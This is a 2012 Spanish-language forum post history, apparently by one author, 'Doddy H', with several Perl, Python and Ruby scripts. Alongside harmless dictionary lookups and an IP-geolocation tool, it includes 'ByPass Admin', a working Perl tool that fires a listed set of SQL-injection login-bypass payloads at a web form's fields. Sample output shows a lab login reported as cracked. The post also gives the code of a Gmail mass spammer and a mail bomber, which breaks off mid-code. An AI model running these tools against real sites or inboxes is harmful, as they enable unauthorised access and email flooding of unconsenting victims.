    -text       => "Logs",
    -width      => 10,
    -background => $background_color,
    -foreground => $texto_color,
    ,
    -activebackground => $texto_color,
    -command          => \&openlogs
)->place( -y => 23, -x => 350 );

$p->Label(
    -text       => "Information",
    -font       => "Impact",
    -background => $background_color,
    -foreground => $texto_color
)->place( -x => 80, -y => 80 );

$p->Label(
    -text       => "City : ",
    -font       => "Impact1",
    -background => $background_color,
    -foreground => $texto_color
)->place( -y => 140, -x => 23 );
my $city = $p->Entry(
    -width      => 21,
    -background => $background_color,
    -foreground => $texto_color
)->place( -y => 143, -x => 65 );

$p->Label(
    -text       => "Country : ",
    -font       => "Country",
    -background => $background_color,
    -foreground => $texto_color
)->place( -y => 170, -x => 23 );
my $country = $p->Entry(
    -width      => 17,
    -background => $background_color,
    -foreground => $texto_color
)->place( -y => 173, -x => 90 );

$p->Label(
    -text       => "State : ",
    -font       => "Impact1",
    -background => $background_color,
    -foreground => $texto_color
)->place( -y => 200, -x => 23 );
my $state = $p->Entry(
    -width      => 20,
    -background => $background_color,
    -foreground => $texto_color
)->place( -y => 203, -x => 75 );

$p->Label(
    -text       => "DNS Found",
    -font       => "Impact",
    -background => $background_color,
    -foreground => $texto_color
)->place( -y => 80, -x => 285 );
my $dns = $p->Listbox(
    -width      => 30,
    -background => $background_color,
    -foreground => $texto_color
)->place( -x => 230, -y => 130 );

MainLoop;

sub st {

    $city->configure( -text => " " );
    $country->configure( -text => " " );
    $state->configure( -text => " " );
    $dns->delete( "0.0", "end" );

    my $target = $tar->get;

    savefile( "info-logs.txt", "[+] Target : $target" );

    my $get    = gethostbyname($target);
    my $target = inet_ntoa($get);

    savefile( "info-logs.txt", "[+] IP : $target\n" );

    $total =
      "http://www.melissadata.com/lookups/iplocation.asp?ipaddress=$target";

    $re = toma($total);

    if ( $re =~ /City<\/td><td align=(.*)><b>(.*)<\/b><\/td>/ ) {
        savefile( "info-logs.txt", "[+] City : $2" );
        $city->configure( -text => $2 );
    }
    else {
        $city->configure( -text => "Not Found" );
    }
    if ( $re =~ /Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>/ ) {
        savefile( "info-logs.txt", "[+] Country : $2" );
        $country->configure( -text => $2 );
        print "[+] Country : $2\n";
    }
    else {
        $country->configure( -text => "Not Found" );
    }
    if ( $re =~ /State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>/ ) {
        savefile( "info-logs.txt", "[+] State of Region : $2" );
        $state->configure( -text => $2 );
    }
    else {
        $state->configure( -text => "Not Found" );
    }

    my $code = toma( "http://www.ip-adress.com/reverse_ip/" . $target );

    savefile( "info-logs.txt", "" );

    while ( $code =~ /whois\/(.*?)\">Whois/g ) {
        my $dnsa = $1;
        chomp $dnsa;
        savefile( "info-logs.txt", "[+] DNS Found : $dnsa" );
        $dns->insert( "end", $dnsa );
    }
    savefile( "info-logs.txt", "\n######################\n" );
}

sub openlogs {
    system("start logs/info-logs.txt");
}

sub installer {
    unless ( -d "/logs" ) {
        mkdir( "logs/", 777 );
    }
}

sub savefile {
    open( SAVE, ">>logs/" . $_[0] );
    print SAVE $_[1] . "\n";
    close SAVE;
}

sub toma {
    return $nave->get( $_[0] )->content;
}

#The End ?
#280
Scripting / [Perl Tk] Diccionario Online 0.1
19 Marzo 2012, 02:05 AM
Mientras estudiaba para unos examenes estaba buscando la definicion de algunas palabras asi que me hice este pequeño programa en perl para poder buscar la definicion de cualquier palabra mediante una pagina web.

Una imagen


El codigo

Código (perl) [Seleccionar]

#!usr/bin/perl
#Diccionario Online 0.1
#Coded By Doddy H

use Tk;
use Tk::ROText;
use LWP::UserAgent;
use HTML::Entities;

if ( $^O eq 'MSWin32' ) {
   use Win32::Console;
   Win32::Console::Free();
}

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(5);

my $fondo = "gray";
my $letra = "black";

my $new = MainWindow->new( -background => $fondo, -foreground => $letra );

$new->title("Diccinario Online 0.1 || By Doddy H");
$new->geometry("340x290+20+20");
$new->resizable( 0, 0 );

$new->Label(
   -text       => "Palabra : ",
   -font       => "Impact1",
   -background => $fondo,
   -foreground => $letra
)->place( -x => 20, -y => 20 );
my $pal =
 $new->Entry( -width => 25, -background => $fondo, -foreground => $letra )
 ->place( -x => 95, -y => 24 );
$new->Button(
   -text             => "Buscar",
   -width            => 7,
   -background       => $fondo,
   -foreground       => $letra,
   -activebackground => $fondo,
   -command          => \&start
)->place( -y => 22, -x => 260 );

$new->Label(
   -text       => "Significado",
   -font       => "Impact1",
   -background => $fondo,
   -foreground => $letra
)->place( -x => 120, -y => 70 );
my $con = $new->ROText(
   width       => 39,
   -height     => 10,
   -background => $fondo,
   -foreground => $letra
)->place( -x => 30, -y => 120 );

MainLoop;

sub start {

   $new->update;
   $con->delete( "0.0", "end" );

   my $code = toma( "http://es.thefreedictionary.com/" . $pal->get );

   chomp $code;

   if ( $code =~ /<div class=runseg><b>1 <\/b>&nbsp; (.*?)[.:<]/ ) {
       my $text = decode_entities($1);
       $con->insert( "end", $text );
   }

}

sub toma {
   return $nave->get( $_[0] )->content;
}

#The End ?

#281
Scripting / [Python] Diccionario Online 0.1
19 Marzo 2012, 02:05 AM
Un pequeño script en Python que hice para buscar una definicion a cualquier palabra que se
ingrese.

El codigo

Código (python) [Seleccionar]

#!usr/bin/python
#Diccionario Online 0.1
#Coded By Doddy H

import urllib2,re,sys,HTMLParser

def toma(web) :
nave = urllib2.Request(web)
nave.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
op = urllib2.build_opener()
return op.open(nave).read()

def head():
print """


@@@@    @             @                      @     
@   @                                               
@    @                                             
@    @  @  @@@   @@@  @  @@@  @ @@   @@@  @@ @  @@@
@    @  @ @   @ @   @ @ @   @ @@  @     @ @  @ @   @
@    @  @ @     @     @ @   @ @   @  @@@@ @  @ @   @
@    @  @ @     @     @ @   @ @   @ @   @ @  @ @   @
@   @   @ @   @ @   @ @ @   @ @   @ @   @ @  @ @   @
@@@@    @  @@@   @@@  @  @@@  @   @  @@@@ @  @  @@@


                                         
                              Coded By Doddy H

                                       
"""

def copyright():
print "\n\n(C) Doddy Hackman 2012\n"
raw_input()
sys.exit(1)

head()

url = raw_input("\n\n[+] Palabra : ")

try:
code = toma("http://es.thefreedictionary.com/"+url)
if (re.findall("<div class=runseg><b>1 <\/b>&nbsp; (.*?)[.:<]",code)):
   re = re.findall("<div class=runseg><b>1 <\/b>&nbsp; (.*?)[.:<]",code)
   re = re[0]
   htmlparser = HTMLParser.HTMLParser()
   re = htmlparser.unescape(re)

   if not re=="":
     print "\n\n[+] Definicion : "+re
   else:
     print "[-] No se encontro significado\n"
except:
print "[-] Error\n"

copyright()

# The End
#282
Scripting / [Ruby] Diccionario Online 0.1
19 Marzo 2012, 02:04 AM
Un simple script en Ruby para buscar la definicion de cualquier palabra

El codigo

Código (ruby) [Seleccionar]

#!usr/bin/ruby
#Diccionario Online 0.1
#Coded By Doddy H

require "net/http"
require "cgi"

def head()
  print "


@@@@    @             @                      @     
@   @                                               
@    @                                             
@    @  @  @@@   @@@  @  @@@  @ @@   @@@  @@ @  @@@
@    @  @ @   @ @   @ @ @   @ @@  @     @ @  @ @   @
@    @  @ @     @     @ @   @ @   @  @@@@ @  @ @   @
@    @  @ @     @     @ @   @ @   @ @   @ @  @ @   @
@   @   @ @   @ @   @ @ @   @ @   @ @   @ @  @ @   @
@@@@    @  @@@   @@@  @  @@@  @   @  @@@@ @  @  @@@


                                         
                              Coded By Doddy H

  "

end

def copyright()
  print "\n\n(C) Doddy Hackman 2012\n\n"
  exit(1)
end

def toma(web)
  return Net::HTTP.get_response(URI.parse(web)).body
end

head()

print "\n[+] Palabra : "
string = gets.chomp

url = "http://es.thefreedictionary.com/"+string

code = toma(url)

if code=~/<div class=runseg><b>1 <\/b>&nbsp; (.*?)[.:<]/
  text = CGI.unescapeHTML($1)
  if text == " "
    print "\n\n[-] Palabra no encontrada"
  else
    print "\n\n[+] Definicion : "+text
  end
end

copyright()

#The End ?
#283
Scripting / [Perl] ByPass Admin 0.1
13 Marzo 2012, 18:50 PM
Acabo de terminar un programa que eh estado haciendo estos ultimos 3 dias , se trata de un script hecho en Perl para realizar los famosos y miticos bypass en los paneles de
administracion , lo bueno es que parsea todos los formularios encontrados en la pagina marcada para que todo sea mas automatico.

El programa depende de un archivo de texto llamado bypass.txt


admin'--
'or'1'='1
'or'
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a
- ' or 'x'='x
- ' or 'x'='x
'or'1 ou 'or''='
' or 'x'='x
admin' or 1==1
' OR "='
'or'1'='1


El codigo (formateado con perltidy) es

Código (perl) [Seleccionar]

#!usr/bin/perl
#ByPass Admin 0.1
#Coded By Doddy H

use LWP::UserAgent;
use HTML::Form;

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(5);

head();
start();
copyright();

sub start {
    print "\n\n[+] Admin : ";
    chomp( my $url = <STDIN> );

    my $code = toma($url);

    my @testar = HTML::Form->parse( $code, "/" );

    $count = 0;
    foreach my $test (@testar) {
        $count++;
        print "\n\n -- == Form $count == --\n\n";
        if ( $test->attr(name) eq "" ) {
            print "[+] Name : No Found" . "\n";
        }
        else {
            print "[+] Name : " . $test->attr(name) . "\n";
        }
        print "[+] Action : " . $test->action . "\n";
        print "[+] Method : " . $test->method . "\n";
        print "\n-- == Input == --\n\n";
        @inputs = $test->inputs;

        foreach $in (@inputs) {

            print "\n[+] Type : " . $in->type . "\n";
            print "[+] Name : " . $in->name . "\n";
            print "[+] Value : " . $in->value . "\n";

        }
    }

    print "\n\n[+] Form to crack : ";
    chomp( my $op = <stdin> );

    print "\n[+] Submit : ";
    chomp( my $aca = <stdin> );

    print "\n[+] Options to check\n\n";
    print "1 - Positive\n";
    print "2 - Negative\n";
    print "3 - Automatic\n\n";
    print "[+] Option : ";
    chomp( my $op2 = <stdin> );

    my @bypass = loadword();

    if ( $op2 eq "1" ) {
        print "\n[+] String : ";
        chomp( my $st = <stdin> );
        print "\n\n[+] Cracking login....\n\n";
        for my $by (@bypass) {
            chomp $by;
            my $code = load( $url, $code, $op, $aca, $by );
            if ( $code =~ /$st/ig ) {
                cracked( $url, $by );
            }
        }
        print "\n[+] Finished\n";
    }

    if ( $op2 eq "2" ) {
        print "\n[+] String : ";
        chomp( my $st = <stdin> );
        print "\n\n[+] Cracking login....\n\n";
        for my $by (@bypass) {
            chomp $by;
            my $code = load( $url, $code, $op, $aca, $by );
            unless ( $code =~ /$st/ig ) {
                cracked( $url, $by );
            }
        }
        print "\n[+] Finished\n";
    }

    if ( $op2 eq "3" ) {
        print "\n\n[+] Cracking login....\n\n";
        my $prueba_falsa = load( $url, $code, $op, $aca, "fuck you" );
        for my $by (@bypass) {
            chomp $by;
            my $code = load( $url, $code, $op, $aca, $by );
            unless ( $code eq $prueba_falsa ) {
                cracked( $url, $by );
            }
        }
        print "\n[+] Finished\n";
    }

}

sub load {

    my ( $url, $code, $op, $aca, $text ) = @_;

    $op--;
    my @probar = ( HTML::Form->parse( $code, "/" ) )[$op];

    for my $testa (@probar) {
        if ( $testa->method eq "POST" ) {

            my @inputs = $testa->inputs;
            for my $in (@inputs) {
                if ( $in->type eq "submit" ) {
                    if ( $in->name eq $aca ) {
                        push( @botones_names,  $in->name );
                        push( @botones_values, $in->value );
                    }
                }
                else {
                    push( @ordenuno, $in->name, $text );
                }
            }

            my @preuno = @ordenuno;
            push( @preuno, $botones_names[0], $botones_values[0] );
            my $codeuno = $nave->post( $url, \@preuno )->content;

            return $codeuno;

        }
        else {

            my $final    = "";
            my $orden    = "";
            my $partedos = "";

            my @inputs = $testa->inputs;
            for my $testa (@inputs) {

                if ( $testa->name eq $aca ) {

                    push( @botones_names,  $testa->name );
                    push( @botones_values, $testa->value );
                }
                else {
                    $orden .= '' . $testa->name . '=' . $text . '&';
                }
            }
            chop($orden);

            my $partedos = "&" . $botones_names[0] . "=" . $botones_values[0];
            my $final    = $url . "?" . $orden . $partedos;

            $codedos = toma($final);
            return $codedos;
        }
    }
}

sub cracked {
    print "[+] Login Cracked\n\n";
    print "[+] URL : $_[0]\n";
    print "[+] Bypass : $_[1]\n";
    savefile( "logs-bypass.txt", "[+] URL : $_[0]" );
    savefile( "logs-bypass.txt", "[+] Bypass : $_[1]\n" );
    copyright();
}

sub loadword {

    my $file = "bypass.txt";

    if ( -f $file ) {

        open( FI, "bypass.txt" );
        my @txts = <FI>;
        close FI;
        chomp @txts;

        return @txts;

    }
    else {
        print "\n\n[-] Wordlist not found\n\n";
        copyright();
    }

}

sub head {
    print qq(

@@@@        @@@@@                       @        @         @     
@   @       @    @                      @        @               
@   @       @    @                     @ @       @               
@   @  @  @ @    @  @@@   @@   @@      @ @    @@@@ @@@ @@  @ @ @@
@@@@   @  @ @@@@@      @ @  @ @  @    @   @  @   @ @  @  @ @ @@  @
@   @  @  @ @       @@@@  @    @      @   @  @   @ @  @  @ @ @   @
@   @  @  @ @      @   @   @    @     @@@@@  @   @ @  @  @ @ @   @
@   @   @@  @      @   @ @  @ @  @   @     @ @   @ @  @  @ @ @   @
@@@@    @   @       @@@@  @@   @@    @     @  @@@@ @  @  @ @ @   @
         @                                                         
       @@                                                         



);
}

sub copyright {
    print "\n\n(C) Doddy Hackman 2012\n\n";
    <stdin>;
    exit(1);
}

sub savefile {
    open( SAVE, ">>" . $_[0] );
    print SAVE $_[1] . "\n";
    close SAVE;
}

sub toma {
    return $nave->get( $_[0] )->content;
}

#The End ?


Un ejemplo de uso




@@@@        @@@@@                       @        @         @
@   @       @    @                      @        @
@   @       @    @                     @ @       @
@   @  @  @ @    @  @@@   @@   @@      @ @    @@@@ @@@ @@  @ @ @@
@@@@   @  @ @@@@@      @ @  @ @  @    @   @  @   @ @  @  @ @ @@  @
@   @  @  @ @       @@@@  @    @      @   @  @   @ @  @  @ @ @   @
@   @  @  @ @      @   @   @    @     @@@@@  @   @ @  @  @ @ @   @
@   @   @@  @      @   @ @  @ @  @   @     @ @   @ @  @  @ @ @   @
@@@@    @   @       @@@@  @@   @@    @     @  @@@@ @  @  @ @ @   @
         @
       @@





[+] Admin : http://localhost/labs/bypass/primero.php


-- == Form 1 == --

[+] Name : No Found
[+] Action : /
[+] Method : POST

-- == Input == --


[+] Type : text
[+] Name : usuario
[+] Value :

[+] Type : password
[+] Name : password
[+] Value :

[+] Type : submit
[+] Name : logeo
[+] Value : Entrar


[+] Form to crack : 1

[+] Submit : logeo

[+] Options to check

1 - Positive
2 - Negative
3 - Automatic

[+] Option : 1

[+] String : exitoso


[+] Cracking login....

[+] Login Cracked

[+] URL : http://localhost/labs/bypass/primero.php
[+] Bypass : 'or'1'='1


(C) Doddy Hackman 2012

#284
Scripting / [Perl] DH Spammer 0.1
1 Marzo 2012, 22:21 PM
Hola a todos , aca les traigo un programa que hice para mandar mails con las siguientes opciones.

  • Mensajes que permitan codigo HTML.
  • Adjuntar archivos
  • Mandar la cantidad que quieran
  • Se maneja con una lista de correos (para poder enviar el mismo mail a varios correos)

    Para usarlo necesitan una cuenta Gmail para indicarle al programa que los mensajes van a ser enviados desde esa cuenta.

    Una imagen del programa


    El codigo (formateado con perltidy) es ...........

    Código (perl) [Seleccionar]

    #!usr/bin/perl
    #DH Spammer 0.1
    #Coded By Doddy H
    #Dependencies
    #http://search.cpan.org/~peco/Email-Send-SMTP-Gmail-0.24/lib/Email/Send/SMTP/Gmail.pm
    #http://search.cpan.org/~cwest/Net-SMTP-SSL-1.01/lib/Net/SMTP/SSL.pm
    #http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm
    #ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd
    #http://search.cpan.org/~gbarr/Authen-SASL-2.15/lib/Authen/SASL.pod
    #Based on http://robertmaldon.blogspot.com/2006/10/sending-email-through-google-smtp-from.html

    use Tk;
    use Tk::ROText;
    use Tk::FileSelect;
    use Email::Send::SMTP::Gmail;
    use Net::SMTP::SSL;
    use Cwd;

    if ( $^O eq 'MSWin32' ) {
        use Win32::Console;
        Win32::Console::Free();
    }

    my $color_fondo = "black";
    my $color_texto = "white";

    my $ve =
      MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
    $ve->geometry("920x560+20+20");
    $ve->resizable( 0, 0 );
    $ve->title("DH Spammer 0.1 (C) Doddy Hackman 2012");

    $d = $ve->Frame(
        -relief     => "sunken",
        -bd         => 1,
        -background => $color_fondo,
        -foreground => $color_texto
    );
    my $ma = $d->Menubutton(
        -text             => "Mails",
        -underline        => 1,
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -activebackground => $color_texto
    )->pack( -side => "left" );
    my $op = $d->Menubutton(
        -text             => "Options",
        -underline        => 1,
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -activebackground => $color_texto
    )->pack( -side => "left" );
    my $ab = $d->Menubutton(
        -text             => "About",
        -underline        => 1,
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -activebackground => $color_texto
    )->pack( -side => "left" );
    my $ex = $d->Menubutton(
        -text             => "Exit",
        -underline        => 1,
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -activebackground => $color_texto
    )->pack( -side => "left" );
    $d->pack( -side => "top", -fill => "x" );

    $ma->command(
        -label      => "Add Mailist",
        -background => $color_fondo,
        -foreground => $color_texto,
        -command    => \&addmailist
    );
    $ma->command(
        -label      => "Add Mail",
        -background => $color_fondo,
        -foreground => $color_texto,
        -command    => \&addmail
    );
    $ma->command(
        -label      => "Clean List",
        -background => $color_fondo,
        -foreground => $color_texto,
        -command    => \&delist
    );

    $op->command(
        -label      => "Spam Now",
        -background => $color_fondo,
        -foreground => $color_texto,
        -command    => \&spamnow
    );
    $op->command(
        -label      => "Add Attachment",
        -background => $color_fondo,
        -foreground => $color_texto,
        -command    => \&addfile
    );
    $op->command(
        -label      => "Clean All",
        -background => $color_fondo,
        -foreground => $color_texto,
        -command    => \&clean
    );

    $ab->command(
        -label      => "About",
        -background => $color_fondo,
        -foreground => $color_texto,
        -command    => \&about
    );
    $ex->command(
        -label      => "Exit",
        -background => $color_fondo,
        -foreground => $color_texto,
        -command    => \&chali
    );

    $ve->Label(
        -text       => "Gmail Login",
        -font       => "Impact3",
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 100, -y => 40 );

    $ve->Label(
        -text       => "Username : ",
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 20, -y => 80 );
    my $user = $ve->Entry(
        -width      => 30,
        -text       => 'lagartojuancho@gmail.com',
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -y => 83, -x => 85 );

    $ve->Label(
        -text       => "Password : ",
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 20, -y => 120 );
    my $pass = $ve->Entry(
        -show       => "*",
        -width      => 30,
        -text       => 'Secret',
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -y => 123, -x => 85 );

    $ve->Label(
        -text       => "Message",
        -font       => "Impact3",
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 110, -y => 160 );

    $ve->Label(
        -text       => "Number : ",
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 20, -y => 210 );
    my $number = $ve->Entry(
        -width      => 5,
        -text       => "1",
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 75, -y => 212 );

    $ve->Label(
        -text       => "Attachment : ",
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 20, -y => 240 );
    my $fi = $ve->Entry(
        -text       => 'None',
        -width      => 30,
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 90, -y => 242 );

    $ve->Label(
        -text       => "Subject : ",
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 20, -y => 270 );
    my $tema = $ve->Entry(
        -text       => "Hi idiot",
        -width      => 20,
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 73, -y => 273 );

    $ve->Label(
        -text       => "Body",
        -font       => "Impact3",
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 110, -y => 310 );
    my $body = $ve->Scrolled(
        "Text",
        -width      => 30,
        -height     => 12,
        -background => $color_fondo,
        -foreground => $color_texto,
        -scrollbars => "e"
    )->place( -x => 45, -y => 350 );
    $body->insert( "end", "Welcome to the hell" );

    $ve->Label(
        -text       => "Mailist",
        -font       => "Impact3",
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -y => 40, -x => 400 );
    my $mailist = $ve->Listbox(
        -height     => 31,
        -width      => 33,
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -y => 85, -x => 330 );

    $ve->Label(
        -text       => "Console",
        -font       => "Impact3",
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -y => 40, -x => 685 );
    my $console = $ve->Scrolled(
        "ROText",
        -width      => 40,
        -height     => 31,
        -background => $color_fondo,
        -foreground => $color_texto,
        -scrollbars => "e"
    )->place( -x => 580, -y => 84 );

    MainLoop;

    sub addmailist {

        my $adda = MainWindow->new(
            -background => $color_fondo,
            -foreground => $color_texto
        );
        $adda->geometry("400x90+20+20");
        $adda->resizable( 0, 0 );
        $adda->title("Add Mailist");

        $adda->Label(
            -text       => "Mailist : ",
            -background => $color_fondo,
            -foreground => $color_texto,
            -font       => "Impact1"
        )->place( -x => 10, -y => 30 );
        my $en = $adda->Entry(
            -background => $color_fondo,
            -foreground => $color_texto,
            -width      => 33
        )->place( -y => 33, -x => 75 );
        $adda->Button(
            -text             => "Browse",
            -background       => $color_fondo,
            -foreground       => $color_texto,
            -width            => 7,
            -activebackground => $color_texto,
            -command          => \&brona
        )->place( -y => 33, -x => 285 );
        $adda->Button(
            -text             => "Load",
            -background       => $color_fondo,
            -foreground       => $color_texto,
            -width            => 7,
            -activebackground => $color_texto,
            -command          => \&bronaxa
        )->place( -y => 33, -x => 340 );

        sub brona {
            $browse = $adda->FileSelect( -directory => getcwd() );
            my $file = $browse->Show;
            $en->configure( -text => $file );
        }

        sub bronaxa {
            open( FILE, $en->get );
            @words = <FILE>;
            close FILE;

            for (@words) {
                $mailist->insert( "end", $_ );
            }
        }
    }

    sub addfile {

        my $addax = MainWindow->new(
            -background => $color_fondo,
            -foreground => $color_texto
        );
        $addax->geometry("390x90+20+20");
        $addax->resizable( 0, 0 );
        $addax->title("Add File");

        $addax->Label(
            -text       => "File : ",
            -background => $color_fondo,
            -foreground => $color_texto,
            -font       => "Impact1"
        )->place( -x => 10, -y => 30 );
        my $enaf = $addax->Entry(
            -background => $color_fondo,
            -foreground => $color_texto,
            -width      => 33
        )->place( -y => 33, -x => 55 );
        $addax->Button(
            -text             => "Browse",
            -background       => $color_fondo,
            -foreground       => $color_texto,
            -width            => 7,
            -activebackground => $color_texto,
            -command          => \&bronax
        )->place( -y => 33, -x => 265 );
        $addax->Button(
            -text             => "Load",
            -background       => $color_fondo,
            -foreground       => $color_texto,
            -width            => 7,
            -activebackground => $color_texto,
            -command          => \&bronaxx
        )->place( -y => 33, -x => 320 );

        sub bronax {
            $browse = $addax->FileSelect( -directory => getcwd() );
            my $filea = $browse->Show;
            $enaf->configure( -text => $filea );
        }

        sub bronaxx {
            $fi->configure( -text => $enaf->get );
        }
    }

    sub addmail {

        my $add = MainWindow->new(
            -background => $color_fondo,
            -foreground => $color_texto
        );
        $add->geometry("350x90+20+20");
        $add->resizable( 0, 0 );
        $add->title("Add Mail");

        $add->Label(
            -text       => "Mail : ",
            -background => $color_fondo,
            -foreground => $color_texto,
            -font       => "Impact1"
        )->place( -x => 10, -y => 30 );
        my $ew = $add->Entry(
            -background => $color_fondo,
            -foreground => $color_texto,
            -width      => 33
        )->place( -y => 33, -x => 60 );
        $add->Button(
            -text             => "Add",
            -background       => $color_fondo,
            -activebackground => $color_texto,
            -foreground       => $color_texto,
            -width            => 7,
            -command          => \&addnow
        )->place( -y => 33, -x => 275 );

        sub addnow {
            $mailist->insert( "end", $ew->get );
        }

    }

    sub delist {
        $mailist->delete( 0.0, "end" );
    }

    sub spamnow {

        $console->delete( 0.1, "end" );

        my $control = "0";

        my $msg = Net::SMTP::SSL->new( "smtp.gmail.com", Port => 465 );
        if ( $msg->auth( $user->get, $pass->get ) ) {
            $control = "1";
        }
        else {
            $control = "0";
        }
        $msg->quit();

        if ($control) {

            $console->insert( "end", "[+] Starting the Party\n\n" );

            my @mails = $mailist->get( "0.0", "end" );
            chomp @mails;
            for my $mail (@mails) {
                $ve->update;
                $console->insert( "end", "[+] Mail : $mail\n" );

                my $text = $body->get( "1.0", "end" );

                if ( $fi->get eq "None" ) {
                    singlemail( $user->get, $pass->get, $mail, $tema->get, $text,
                        $number->get );
                }
                else {
                    singlemailwithfile( $user->get, $pass->get, $mail, $tema->get,
                        $text, $fi->get, $number->get );
                }
            }
            $console->insert( "end", "\n\n[+] Finished" );
        }
        else {
            $console->insert( "end", "[-] Bad Login\n" );
        }
    }

    sub singlemail {

        my ( $user, $password, $target, $asunto, $mensaje, $cantidad ) = @_;

        for ( 1 .. $cantidad ) {
            my $msg = Net::SMTP::SSL->new( "smtp.gmail.com", Port => 465 );
            $msg->auth( $user, $password );
            $msg->mail( $user . "\n" );
            $msg->to( $target . "\n" );
            $msg->data();
            $msg->datasend( "From: " . $user . "\n" );
            $msg->datasend( "To: " . $target . "\n" );
            $msg->datasend( "Subject: " . $asunto . "\n" );
            $msg->datasend("Content-Type: text/html \n");
            $msg->datasend("\n");
            $msg->datasend( $mensaje . "\n" );
            $msg->dataend();
            $msg->quit();
        }
    }

    sub singlemailwithfile {

        my ( $user, $password, $target, $asunto, $mensaje, $file, $cantidad ) = @_;

        my $mail = Email::Send::SMTP::Gmail->new(
            -smtp  => "gmail.com",
            -login => $user,
            -pass  => $password
        );
        for my $number ( 1 .. $cantidad ) {
            $mail->send(
                -to          => $target,
                -subject     => $asunto,
                -body        => $mensaje,
                -attachments => $file
            );
        }
        $mail->bye;
    }

    sub clean {

        $user->configure( -text => " " );
        $pass->configure( -text => " " );
        $number->configure( -text => " " );
        $fi->configure( -text => "None" );
        $tema->configure( -text => " " );
        $body->delete( 0.1, "end" );
        $mailist->delete( 0.0, "end" );
        $console->delete( 0.1, "end" );

    }

    sub about {
        $about = MainWindow->new( -background => "black" );
        $about->title("About");
        $about->geometry("300x110");
        $about->resizable( 0, 0 );
        $about->Label( -background => "black", -foreground => "white" )->pack();
        $about->Label(
            -text       => "Contact : lepuke[at]hotmail[com]",
            -font       => "Impact",
            -background => "black",
            -foreground => "white"
        )->pack();
        $about->Label(
            -text       => "Web : doddyhackman.webcindario.com",
            -font       => "Impact",
            -background => "black",
            -foreground => "white"
        )->pack();
        $about->Label(
            -text       => "Blog : doddy-hackman.blogspot.com",
            -font       => "Impact",
            -background => "black",
            -foreground => "white"
        )->pack();
    }

    sub chali { exit(1); }

    #The End ?

#285
Scripting / [Perl] Gmail Bomber 0.3
23 Febrero 2012, 17:39 PM
Hola a todos , aca les traigo un gmail bomber que hice para el torneo de programacion de HackXCrack , se trata de un simple mail bomber para Gmail , aca les dejo una imagen del programa en uso donde me envio 40 mensajes a mi cuenta


Y mi casilla quedo asi


El codigo del programa (formateado con perltidy) es

Código (perl) [Seleccionar]

#!usr/bin/perl
#Gmail Bomber 0.2
#Dependencies
#http://search.cpan.org/~peco/Email-Send-SMTP-Gmail-0.24/lib/Email/Send/SMTP/Gmail.pm
#http://search.cpan.org/~cwest/Net-SMTP-SSL-1.01/lib/Net/SMTP/SSL.pm
#http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm
#ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd
#http://search.cpan.org/~gbarr/Authen-SASL-2.15/lib/Authen/SASL.pod

use Tk;
use Win32;
use Email::Send::SMTP::Gmail;

if ( $^O eq 'MSWin32' ) {
    use Win32::Console;
    Win32::Console::Free();
}

my $color_fondo = "black";
my $color_texto = "green";

my $ve =
  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
$ve->geometry("300x600+20+20");
$ve->resizable( 0, 0 );
$ve->title("Gmail Bomber 0.2");

$ve->Label(
    -text       => "Login",
    -font       => "Impact3",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 110, -y => 30 );

$ve->Label(
    -text       => "Username : ",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 80 );
my $user = $ve->Entry(
    -width      => 30,
    -text       => 'lagartojuancho@gmail.com',
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -y => 83, -x => 85 );

$ve->Label(
    -text       => "Password : ",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 120 );
my $pass = $ve->Entry(
    -show       => "*",
    -width      => 30,
    -text       => 'Secret',
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -y => 123, -x => 85 );

$ve->Label(
    -text       => "Message",
    -font       => "Impact3",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 110, -y => 160 );

$ve->Label(
    -text       => "Number : ",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 210 );
my $number = $ve->Entry(
    -width      => 5,
